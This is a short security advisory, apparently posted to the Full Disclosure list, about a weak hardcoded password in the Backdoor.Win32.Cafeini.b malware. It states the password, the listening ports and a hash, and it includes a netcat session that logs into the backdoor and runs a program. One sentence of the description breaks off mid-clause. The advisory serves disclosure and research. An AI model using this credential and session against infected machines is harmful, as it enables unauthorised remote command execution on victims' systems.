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Date: Wed, 29 Jun 2022 21:18:16 -0400
From: malvuln <>
Subject: [FD] Backdoor.Win32.Cafeini.b / Weak Hardcoded Credentials

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:

Threat: Backdoor.Win32.Cafeini.b
Vulnerability: Weak Hardcoded Credentials
Description: The malware listens on TCP ports 51966 and 23. Authentication
is required, however the password "mama" is weak and found within the PE
file. Moreover, the FTP server running on non standard port 23 also uses
same password. Trying to execute a program incorrectly you get reply like,
"STATUS I can't run program", as it requires the full path to the file to
Family: Cafeini
Type: PE32
MD5: a8fc1b3f7a605dc06a319bf0e14ca68b
Vuln ID: MVID-2022-0617
Disclosure: 06/29/2022

C:\>nc64.exe x.x.x.x 51966
CAFEiNi 1.1
Enter your password:
STATUS: unknown command "WHOAMI"
C:\Users\victim\Desktop>exec c:\Windows\system32\calc.exe
exec c:\Windows\system32\calc.exe
STATUS: program runned

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